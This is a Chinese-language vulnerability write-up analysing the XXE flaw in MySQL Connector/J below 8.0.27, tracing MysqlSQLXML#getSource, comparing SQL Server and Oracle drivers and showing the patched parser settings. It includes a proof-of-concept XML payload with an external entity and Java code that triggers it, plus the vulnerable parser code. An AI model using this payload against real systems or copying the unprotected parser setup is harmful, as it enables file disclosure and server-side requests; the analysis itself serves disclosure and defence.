前言 最近 JDBC
爆了一个XXE
漏洞,很久没有分析漏洞了,趁着周末没事分析下这个漏洞。
分析
10月21日,”阿里云应急响应”公众号发布Oracle Mysql JDBC存在XXE漏洞,造成漏洞的原因主要是因为getSource
方法未对传入的XML格式数据进行检验。导致攻击者可构造恶意的XML数据引入外部实体。造成XXE攻击。
影响版本: < MySQL JDBC 8.0.27
漏洞影响版本在8.0.27
以下,并且修复的是一个XXE漏洞,所以我们可以在github上对比提交记录快速找到漏洞点 。漏洞主要在MysqlSQLXML
中,可以看到新版本在解析XML前加上了一些防御XXE的方法。
搭建8.0.26
环境后,查看MysqlSQLXML#getSource
方法,这里为了能看起来更直观,我忽略了大部分代码,getSource
根据传入class
类型的不同做返回不同的Source
,返回其他source
并没有解析XML,但在处理DomSource
时,通过builder.parse
对inputSource
的内容进行解析。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 public <T extends Source> T getSource (Class<T> clazz) throws SQLException { ... if (clazz == null || clazz.equals(SAXSource.class)) { ... return (T) new SAXSource(inputSource); } else if (clazz.equals(DOMSource.class)) { try { ... return (T) new DOMSource(builder.parse(inputSource)); } ... } else if (clazz.equals(StreamSource.class)) { ... return (T) new StreamSource(reader); } else if (clazz.equals(StAXSource.class)) { ... return (T) new StAXSource(this .inputFactory.createXMLStreamReader(reader)); ...
我们再看看DOMSource
部分的具体实现,并没有在parse
前做防护处理,并且inputSource
可以由this.stringRep
参数控制。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 try { DocumentBuilderFactory builderFactory = DocumentBuilderFactory.newInstance(); builderFactory.setNamespaceAware(true ); DocumentBuilder builder = builderFactory.newDocumentBuilder(); InputSource inputSource = null ; if (this .fromResultSet) { inputSource = new InputSource(this .owningResultSet.getCharacterStream(this .columnIndexOfXml)); } else { inputSource = new InputSource(new StringReader(this .stringRep)); } return (T) new DOMSource(builder.parse(inputSource));
而在setString
中为stringRep
属性赋值,所以此处可以造成XXE漏洞。
1 2 3 4 5 6 7 public synchronized void setString (String str) throws SQLException { checkClosed(); checkWorkingWithResult(); this .stringRep = str; this .fromResultSet = false ; }
但是分析到这里就结束了吗?我认为要真正了解这个漏洞,还需要解决下面的几个问题:
MysqlSQLXML
的功能是什么?为什么getSource
中会解析XML?为什么只有DomSource
会进行parse
,其他的没有?
在什么样的场景下会调用MysqlSQLXML#getSource
?
为什么只在MYSQL
的SQLXML
中出现了问题?其他数据库的SQLXML
没有漏洞吗?
思考 要理清上面的问题,首先我们得了解SQLXML
是什么东西,为什么要引入它。
SQLXML 在开发的过程中,可能会需要在数据库中存储和检索XML
文档,因此引入了SQLXML类型,SQLXML提供了 String、Reader、Writer 或 Stream 等多种形式访问XML值的方法。
getBinaryStream 以流的形式获取此 SQLXML 实例指定的 XML 值。
getCharacterStream 以 java.io.Reader 对象的形式获取此 SQLXML 实例指定的 XML 值。
getString 返回此 SQLXML 实例指定的 XML 值的字符串表示形式。
我们可以通过ResultSet、CallableStatement 、PreparedStatement 中的getSQLXML
方法获取SQLXML对象。
1 2 SQLXML sqlxml = resultSet.getSQLXML(column); InputStream binaryStream = sqlxml.getBinaryStream();
再通过XML解析器解析XML
1 2 3 4 5 DocumentBuilder parser = DocumentBuilderFactory.newInstance().newDocumentBuilder(); Document result = parser.parse(binaryStream); SAXParser parser = SAXParserFactory.newInstance().newSAXParser(); parser.parse(binaryStream, myHandler);
除了上述的处理方式外,也可以getSource
和setResult
直接进行XML处理,而不需要转换成流并调用解析器解析XML。
比如直接对DOM Document Node
进行操作。
1 2 3 4 5 6 DOMSource domSource = sqlxml.getSource(DOMSource.class); Document document = (Document) domSource.getNode(); DOMResult domResult = sqlxml.setResult(DOMResult.class); domResult.setNode(myNode);
或者通过sax
解析
1 2 3 4 SAXSource saxSource = sqlxml.getSource(SAXSource.class); XMLReader xmlReader = saxSource.getXMLReader(); xmlReader.setContentHandler(myHandler); xmlReader.parse(saxSource.getInputSource());
为什么DOMSource
会出现问题? 首先我们看下当调用getSource
时,不同类型的返回Source的代码。
1 2 3 4 return (T) new SAXSource(inputSource);return (T) new DOMSource(builder.parse(inputSource));return (T) new StreamSource(reader);return (T) new StAXSource(this .inputFactory.createXMLStreamReader(reader));
不同的Source
为什么接收的数据类型不相同,这里需要了解不同的解析方式。
DOM:DOM是以层次结构组织的节点或信息片断的集合。这个层次结构允许开发人员在树中寻找特定信息。分析该结构通常需要加载整个文档和构造层次结构 ,然后才能做任何工作。
SAX:SAX是一种基于流的推分析方式 的XML解析技术,分析能够立即开始,而不是等待所有的数据被处理,应用程序不必解析整个文档 ;
StAX:StAX就是一种基于流的拉分析式 的XML解析技术,只把感兴趣的部分拉出,不需要触发事件。StAX的API可以读取和写入XML文档。使用SAX API,XML可以是只读的。
推模型 :就是我们常说的SAX,它是一种靠事件驱动的模型。当它每发现一个节点就引发一个事件,而我们需要编写这些事件的处理程序。这样的做法很麻烦,且不灵活。
拉模型 :在遍历文档时,会把感兴趣的部分从读取器中拉出,不需要引发事件,允许我们选择性地处理节点。这大大提e高了灵活性,以及整体效率。
从Dom
解析的特性来讲,必须一次性将Dom
全部加载到内存中才能操作,而不是像其他类型,可以在使用时再去处理,因此在构建DomSource
对象时需要先将Dom
先整体解析后才能使用。
如何触发漏洞? 之前已经分析过一种方式,直接通过setString
设置即可触发,下面是广为流传的POC
1 2 3 4 5 6 7 8 9 10 11 String poc = "<?xml version=\"1.0\" ?>\n" + "<!DOCTYPE r [\n" + "<!ELEMENT r ANY >\n" + "<!ENTITY sp SYSTEM \"http://127.0.0.1:4444/test.txt\">\n" + "]>\n" + "<r>&sp;</r>" ; Connection connection = DriverManager.getConnection("jdbc:mysql://127.0.0.1:3306/test" , "root" ,"xxxxx" ); SQLXML sqlxml = connection.createSQLXML(); sqlxml.setString(poc); sqlxml.getSource(DOMSource.class);
虽然上面的方式确实可以触发漏洞,但是我觉得在真实环境中应该不会有人这么写,所以我们应该思考下有没有其他的方式触发漏洞?
我们结合一下SQLXML的使用场景,是在操作数据库中的XML数据而产生的,所以正常情况下应该是操作数据库中的XML数据而导致的XXE漏洞 。所以我认为下面的POC更符合真实场景,其中DataXML
字段中保存着我们的payload
。
1 2 3 4 5 6 7 8 Connection connection =DriverManager.getConnection("jdbc:mysql://192.168.3.16:3306/test666" , "root" , "cangqing<>?" ); String sql = "SELECT DataXML from config" ; Statement stmt = connection.createStatement(); ResultSet rs = stmt.executeQuery(sql); rs.next(); SQLXML xml=rs.getSQLXML("DataXML" ); DOMSource=xml.getSource(DOMSource.class);
是否由其他方式会导致漏洞? 我们还是看getSource
方法,当内容为SAXSource
直接将InputSource
作为参数传给了SaxSource
,所以从这来看没有明显的问题。
1 2 3 4 5 6 7 8 if (clazz == null || clazz.equals(SAXSource.class)) { InputSource inputSource = null ; if (this .fromResultSet) { inputSource = new InputSource(this .owningResultSet.getCharacterStream(this .columnIndexOfXml)); } else { inputSource = new InputSource(new StringReader(this .stringRep)); } return (T) new SAXSource(inputSource);
这里创建SAXSource
并没有设置XmlReader
,因为设置XML解析防御的策略在XmlReader
中,所以看不出来是否存在漏洞。
再看看StAXSource
,这里是否会导致漏洞取决于this.inputFactory
属性中保存的XMLInputFactory
对象,但是虽然MysqlSQLXML
中有inputFactory
属性,但是并没有设置这个属性的方法或者操作,而是否在开启XXE的防御是在XMLInputFactory
对象中设置的,所以这里也看不出来是否有漏洞。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 } else if (clazz.equals(StAXSource.class)) { try { Reader reader = null ; if (this .fromResultSet) { reader = this .owningResultSet.getCharacterStream(this .columnIndexOfXml); } else { reader = new StringReader(this .stringRep); } return (T) new StAXSource(this .inputFactory.createXMLStreamReader(reader)); } catch (XMLStreamException ex) { SQLException sqlEx = SQLError.createSQLException(ex.getMessage(), MysqlErrorNumbers.SQL_STATE_ILLEGAL_ARGUMENT, ex, this .exceptionInterceptor); throw sqlEx; }
为什么SQLSERVER和ORACLE的数据库连接没问题? mssql-jdbc 首先看mssql-jdbc
是怎么处理的,主要逻辑在SQLServerSQLXML#getSource
中,判断类型是否为SteamSource
,如果不是则调用getSourceInternal
处理。getSourceInternal
根据不同的类型调用不同的处理方法。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 public <T extends Source> T getSource (Class<T> iface) throws SQLException { this .checkClosed(); this .checkReadXML(); if (null == iface) { T src = this .getSourceInternal(StreamSource.class); return src; } else { return this .getSourceInternal(iface); } } <T extends Source> T getSourceInternal (Class<T> iface) throws SQLException { this .isUsed = true ; T src = null ; if (DOMSource.class == iface) { src = (Source)iface.cast(this .getDOMSource()); } else if (SAXSource.class == iface) { src = (Source)iface.cast(this .getSAXSource()); } else if (StAXSource.class == iface) { src = (Source)iface.cast(this .getStAXSource()); } else if (StreamSource.class == iface) { src = (Source)iface.cast(new StreamSource(this .contents)); } else { SQLServerException.makeFromDriverError(this .con, (Object)null , SQLServerException.getErrString("R_notSupported" ), (String)null , true ); } return src; }
getDOMSource 这里确实也会解析Document
,但是在解析前设置了secure-processing
,这里应该是防御了XXE漏洞。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 private DOMSource getDOMSource () throws SQLException { Document document = null ; DocumentBuilderFactory factory = DocumentBuilderFactory.newInstance(); MessageFormat form; Object[] msgArgs; try { factory.setFeature("http://javax.xml.XMLConstants/feature/secure-processing" , true ); DocumentBuilder builder = factory.newDocumentBuilder(); builder.setEntityResolver(new SQLServerEntityResolver()); try { document = builder.parse(this .contents); ... DOMSource inputSource = new DOMSource(document); return inputSource; ... }
getSAXSource getSAXSource
在创建SAXParserFactory
后并没有设置属性来进行安全操作,因此这种方式可能会存在漏洞。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 private SAXSource getSAXSource () throws SQLException { try { InputSource src = new InputSource(contents); SAXParserFactory factory = SAXParserFactory.newInstance(); SAXParser parser = factory.newSAXParser(); XMLReader reader = parser.getXMLReader(); SAXSource saxSource = new SAXSource(reader, src); return saxSource; } catch (SAXException | ParserConfigurationException e) { MessageFormat form = new MessageFormat(SQLServerException.getErrString("R_failedToParseXML" )); Object[] msgArgs = {e.toString()}; SQLServerException.makeFromDriverError(con, null , form.format(msgArgs), null , true ); } return null ; }
虽然单纯从getSAXSource
函数中并没有直接解析,但是用户在使用下面的代码时,则默认会导致XXE漏洞。
1 2 3 4 5 SQLXML xmlVal= rs.getSQLXML(1 ); SAXSource saxSource = sqlxml.getSource(SAXSource.class); XMLReader xmlReader = saxSource.getXMLReader(); xmlReader.setContentHandler(myHandler); xmlReader.parse(saxSource.getInputSource());
虽然看起来是有问题的,但当我通过SQLSERVER创建XML类型数据并插入payload时,却爆了不允许使用内部子集 DTD 分析 XML。请将 CONVERT 与样式选项 2 一起使用,以启用有限的内部子集 DTD 支持。
在SQLSERVER插入XML
类型数据时中不允许使用DTD,所以无法插入恶意的payload。所以后面的解析方式也可以不看了,无法造成XXE漏洞 。
oracle-ojdbc 查了下资料似乎没有找到关于SQLXML
的支持,所以自然也不存在漏洞。
漏洞修复 mysql jdbc 8.0.27
修复了该漏洞,修复方式如下:
DOMSource DOMSource解析前加上了开启了防御,所以解决了这个漏洞。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 if (clazz.equals(DOMSource.class)) { try { DocumentBuilderFactory builderFactory = DocumentBuilderFactory.newInstance(); builderFactory.setNamespaceAware(true ); setFeature(builderFactory, "http://javax.xml.XMLConstants/feature/secure-processing" , true ); setFeature(builderFactory, "http://apache.org/xml/features/disallow-doctype-decl" , true ); setFeature(builderFactory, "http://xml.org/sax/features/external-general-entities" , false ); setFeature(builderFactory, "http://xml.org/sax/features/external-parameter-entities" , false ); setFeature(builderFactory, "http://apache.org/xml/features/nonvalidating/load-external-dtd" , false ); builderFactory.setXIncludeAware(false ); builderFactory.setExpandEntityReferences(false ); builderFactory.setAttribute("http://javax.xml.XMLConstants/property/accessExternalSchema" , "" ); DocumentBuilder builder = builderFactory.newDocumentBuilder(); return new DOMSource(builder.parse(this .fromResultSet ? new InputSource(this .owningResultSet.getCharacterStream(this .columnIndexOfXml)) : new InputSource(new StringReader(this .stringRep)))); } catch (Throwable var5) { sqlEx = SQLError.createSQLException(var5.getMessage(), "S1009" , var5, this .exceptionInterceptor); throw sqlEx; }
SAXSource 这里也发生了改变,之前分析8.0.26
版本时,并没有创建XMLReader
,所以没有漏洞,在更新中创建了XmlReader
并进行了安全设置。
1 2 3 4 5 6 7 8 9 10 11 12 try { XMLReader reader = XMLReaderFactory.createXMLReader(); reader.setFeature("http://javax.xml.XMLConstants/feature/secure-processing" , true ); setFeature(reader, "http://apache.org/xml/features/disallow-doctype-decl" , true ); setFeature(reader, "http://apache.org/xml/features/nonvalidating/load-external-dtd" , false ); setFeature(reader, "http://xml.org/sax/features/external-general-entities" , false ); setFeature(reader, "http://xml.org/sax/features/external-parameter-entities" , false ); return new SAXSource(reader, this .fromResultSet ? new InputSource(this .owningResultSet.getCharacterStream(this .columnIndexOfXml)) : new InputSource(new StringReader(this .stringRep))); } catch (SAXException var7) { sqlEx = SQLError.createSQLException(var7.getMessage(), "S1009" , var7, this .exceptionInterceptor); throw sqlEx; }